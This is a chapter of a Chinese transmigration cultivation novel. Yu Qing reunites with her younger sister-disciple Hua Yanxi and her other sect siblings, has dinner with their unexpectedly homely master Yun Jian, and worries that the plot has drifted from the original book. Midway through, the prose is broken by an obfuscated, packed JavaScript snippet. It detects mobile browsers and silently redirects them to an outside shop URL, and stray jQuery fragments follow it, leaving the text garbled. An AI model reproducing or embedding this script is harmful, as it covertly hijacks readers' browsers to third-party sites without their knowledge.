余庆老远地便看见一个小姑娘站在石碑旁,梳着两个丸子头,簪有桃花枝,齐刘海,粉蓝色齐胸襦裙,模样甚是可爱,招手道:“庆姐姐,大师兄,小师弟,你们回来啦!”是花言蹊。原著中余庆的小师妹,是师门里年纪最小的一位,尚在总角之年,极其缠着余庆,大概是其他几位师兄师弟性情冷淡吧。花言蹊幼时由师父云谏捡回,因为发了场高烧,记忆全失,“言蹊”取自“桃李不言,下自成蹊”之意。不过余庆记得花言蹊应当是小说的角色里最闹腾的一位吧,只是可惜花言蹊最后被困在一个幻境里没有出来了。
若是只在书中见到,余庆会很快略过去,但是眼前如此鲜活的人在自己面前蹦蹦跳跳的,不免觉得惋惜。
“小言蹊!”宋祈招手回复,忽而转头看向余庆略显失落的神情,不明就里地,“嗯,小庆,你怎么了,脸色不太好吗?”
余庆闻言,露出一个微笑,道:“大师兄,我刚才想其他事情去了,没有注意到。”
谢晏挑眉。
宋祈只是温和笑笑,宽慰一番。
花言蹊跑了过来,扑进余庆怀里,故作埋怨道:“好呀,庆姐姐,看到我了也不怎么打招呼,再走几天就和我不熟了吗?”
余庆的身形晃了晃,心里猜测道:书中的“余庆”与花言蹊竟然是这么互动的吗?但很快适应过来,左右不过是小姐妹俩嬉闹罢了。正欲开口,却被谢晏抢了先。
“师姐倒偏心了,见了小师妹,连我们都顾不得了。”
花言蹊扭头,气鼓鼓地瞪了谢晏一眼,道:“虽然你看上去年纪比我大,但是我入门让你比你早,你也应该叫我一声师姐吧。小、师、弟。”末尾三字像是从牙缝中一字一顿地挤出来一般。
谢晏摊手,一副“无所谓”的表情。
花言蹊复又埋头痛哭:“庆姐姐,你看他!”
余庆也只是无奈笑笑,轻拍花言蹊肩头。
宋祈打圆场道:“听说师尊这次回来得早,我们还是早些回去吃晚餐吧,莫负了师尊的一番心意。”
起初,余庆并没有过度关注这句话,原著里并没有详细描写过师尊云谏,印象中不是在云游就是在云游,还会顺途捡孩子回来,师门内的几位弟子除了谢晏是考上来的其余的都是捡回来的吧,还个个都非同一般,这是剧情故意安排的吗。直到见云谏的第一眼,什么云游仙人、世外高手这些滤镜全被打碎。你是说那位从厨房里走出,裹着布条端着汤,插着长勺的就是那位神龙不见首尾的师尊云谏吗。原来宋祈所说的“师尊的心意”指的是亲自下厨?
“庆丫头,还愣着什么呢,快来帮忙哩。”云谏道。
“啊,我马上来。”既来之则安之,余庆安慰自己先适应一阵,却不知为何心里忽然闷得慌,可能是在这么多人面前需要扮演另一个人吧。
云谏放下汤碗后盯着余庆细看了几眼。他虽是笑着的,两眼微眯,却让余庆觉得有一些难以言明的压迫感,让余庆想要尽快离去。
宋祈走了过来,对云谏道:“师父,这次下山,我发现镇里的怨气有些奇怪……”
云谏沉思一会儿,笑道:“怎么刚回来就要述职么,让为师先歇一会儿,嗯,不对,小祈你先歇一会儿。”
宋祈:“师父,你先听我说……”
余庆:“……”可能这个师父比自己想象中要摆烂一些。遂又进了厨房。
“你去听听他们要说些什么呢?”系统道。
余庆警觉,在这个世界知道得越多也会更容易通关一些,于是跟着系统的指引,竖起耳朵偷听转角处的对话。
宋祈:“我们原以为怨气来自雪娘,但是通体来看雪娘身上的怨气相对较少,后面又以为是牧贺的怨气被人利用增大,但是我发现了房间内的布置形似一种失传已久的法阵,所以……”
云谏:“……”
没有后续了?
谢晏从余庆手中抢过筷子,笑道:“师姐,你怎么还没拿过来呀?”
他的眉眼明朗,凑近时让余庆呼吸一滞,又惊又喜,但是不要得了便宜还卖乖。
余庆伸手,故作严厉道:“给我。”
谢晏将筷子举过头顶,挑眉,大有暗示余庆来抢之意。
此时若是按照浪漫小说的发展,自己应该踮起脚尖去抢于是不慎跌入对方怀里,但是余庆现在可不想玩这种游戏,道:“那就师弟你拿来吧。”遂离去,谢晏随意地跟在身后。
经过拐角处,宋祈与云谏应该还在那处,余庆有些心虚,便没有多看,法阵,那是什么,大师兄没有当时说,是有什么隐瞒吗。
谢晏若有深意地朝宋祈这边扫了几眼,与宋祈对上了两眼。宋祈怔怔地看向他们离去的身影,云谏折扇挡脸,晦暗难明。
花言蹊拉着铮的衣摆道:“铮师兄,你差点又迟到了。”
铮惜字如金地解释:“并没有。”
这是原主的二师兄,单名一个“铮”字。平时较沉默寡言,不喜与人交往。但其做事可靠,加之长相贵气明朗,大家也都非常喜爱他。铮并不跟随师父用剑,而是用枪。那枪通体雪白,名为“濯雪”,似乎是铮很小的时候就有了,但是关于枪的由来,铮却很少提及。
花言蹊做出鬼脸:“略略略。”
铮忽然看过来,略带有审视的目光。
余庆一惊,这才回忆起书中写到原主与铮的关系似乎不错。得益于原主的小太阳人设,像是铮这样沉默寡言的人,原主也能说上几句话。
额……我现在是不是也应该说几句话?
余庆在心里又默默地把原著吐槽了几回。
好在云谏回来了,宋祈也随后到。看云谏的神色依旧很不错,倒是宋祈的脸色有些沉重,像是心中有郁结难解。
云谏招呼大伙坐下吃饭。
余庆坐下观察各位的动作,也尽量模仿着不出差错。师门里的气氛比自己想象中的要轻松许多,这倒和书中描写的一样。
*
鉴于谢晏被云谏以闭关太久都没有好好见过新收的弟子为由拦住以及花言蹊“大声吐槽”有了师弟忘了师妹被余庆及时捂嘴,回去的路上,余庆与花言蹊同行。
晚风“呼呼”地吹,树影婆娑,扰人心绪。
“庆姐姐,”花言蹊伸出五指在余庆眼前晃荡,“你怎么总在发神呢。”
未及余庆回答,花言蹊两眼微眯,故意用手肘撞余庆,调侃道:“庆姐姐,你是在想小师弟的事吗?”
余庆垂眸看见花言蹊的笑脸,面色平静道:“没有的事,我们还是先回去吧。”说罢,拉着花言蹊的手快步走去。
花言蹊戏精附体,又是扶额又是摇头晃脑,绘声绘色地感慨道:“可惜那像个小菩萨似的小师弟偏偏爱上了一个这么无情的师姐,空负了一腔爱意——”
“哎呀!”花言蹊吃了余庆一个脑瓜崩儿,“咬牙切齿”道:“狠心的师姐,连一起长大的小师妹也如此捉弄。”
余庆失笑,岔开话题道:“我此前下山,遇见了很多好玩的玩意,正想都给你的呢。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912042|213151||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>花言蹊从小在山上生活,未曾下过山,对山下很多事物都抱有好奇心,就如此岔开到另一个话题去了。
余庆并不喜欢别人调侃自己关于情爱方面的事,总感觉如果有人喜欢自己,旁人就会把自己划入那个人的圈子,自己就像被绑架了般。一种说不清楚的情绪。不过想想也是,可能对方的本意并没有什么恶意。所以余庆每当遇到这种情况都会找到一个话题硬生生地岔过去。
好在花言蹊的注意力转移到其他地方去了,自顾自地说着:“我前些天悄悄去找了大师兄问他可有一些下山的任务给我,大师兄说是过几天就能找到一个适合我的。”
其实下山没什么好玩的。余庆把这些话给憋回去了。只是附和道:“那挺不错的。”
“我从记事起,就一直生活在山上,还没有到山下去看过呢。”花言蹊手上的动作慢慢停了下来,仰望着屋顶,似在想象一些什么事。
余庆估摸着应该是宗门内哪位师兄弟姐妹说了些山下的好玩的事物,勾起花言蹊如此遐想。
“小师弟也是从山下一步步通过考核来拜师的呢,不知道他之前在山下做什么的呢,不过看他那副衣着配饰,想来身份不凡。说来也奇怪,我看画本子上写着,但凡是个有身份的人,不外乎渴求什么名利,想要封王拜相,怎么会有平白无故来修仙的呢。纵是帝王,那也是在老了之后才开始制作丹药访问仙人的呢。”
“应该是一直都在寻求这些事吧,只不过是人老了之后做这些事表现得更明显了吧。”怎么话题又绕回来了。
“咦~庆姐姐,那时候招收新弟子时,你还说过小师弟长得很好看,希望他来我们这一派呢。”花言蹊调侃道,“说起来,当时来了个天赋这么好的小师弟,各个长老争相想要要人,小师弟却选择了我们门派。当时师尊都怀疑自己是不是听错了。”
说得也是,余庆记得自己师尊这一派不像其他长老那样是个争相想要的香饽饽,自己师尊够摆烂,弟子们除了大师兄是个工作狂其他人也都够摆的,但也不能全这么说,铮师兄那有自己的节奏,至于自己和小师妹劳逸结合、收放自如吧,对,就是这个形容。
来了小师弟,确实可以说是给这一派增添了很多实力。
师尊选徒弟并没有什么逻辑,余庆只记得原文师尊说是看个眼缘。
花言蹊还在兴致勃勃地说着当时的一些趣事,大多数徒弟是通过层层选拔上来的,只有少数是长老下山历练亲自带回来的。他们要这一门倒好,都没有几个人是正儿八经地考核上来,基本上都是师尊带回来的。
余庆想着之前看过的一些小说,有穿越的有重生的,此时应该是主角发现现在的剧情和原作中不一样。有可能是好的剧情也有可能是不好的剧情。但是余庆不清楚自己是不是主角。像是最开始只是一本古色古香的修仙文,后面有了穿越来的人,有了穿越女强过土著,后面大家发现不对,又有了土著的打过穿越的。
总之,知晓剧情走向这种金手指戴得并不安稳,可能在重要剧情那里就卡壳了。
余庆现在脑海里乱如麻团,正在一条条理清思绪。
“看剑!”
“我只知小师弟尚在宗门内,不知道现在一身魔气地站在此处的是谁。”
脑海里复现这两句话,当时因为情况危急容不得细想,现在突然想起来真是细思恐极。剧情恐怕早就不受控制了。
“噗嗤。”
谁轻笑了一声。
“没有的事,左右不过是剧情bug吧。”